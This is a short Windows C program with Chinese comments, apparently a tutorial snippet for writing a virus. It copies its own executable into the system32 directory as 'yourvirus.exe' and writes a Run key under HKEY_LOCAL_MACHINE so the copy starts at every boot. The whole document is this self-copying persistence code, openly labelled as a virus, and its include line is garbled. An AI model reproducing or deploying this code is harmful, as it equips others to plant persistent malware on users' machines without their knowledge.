#includeint WINAPI WinMain(HINSTANCE hThisInstance, HINSTANCE hPrevInstance, LPSTR lpszArgument, int nFunsterStil) { char system[MAX_PATH]; char pathtofile[MAX_PATH]; HMODULE GetModH = GetModuleHandle(NULL); //得到当前执行文件的全路径 GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile)); //得到系统文件所在目录的路径,如c:\windows\system32 GetSystemDirectory(system,sizeof(system)); //形成要复制到的全路径,如c:\windows\system32\yourvirus.exe strcat(system,"\\yourvirus.exe"); //自我复制到目标路径 CopyFile(pathtofile,system,false); //写入注册表,以便开机自动运行 HKEY hKey; RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey ); RegSetValueEx(hKey, "Writing to the Registry Example",0,REG_SZ,(const unsigned char*)system,sizeof(system)); RegCloseKey(hKey); return 0; }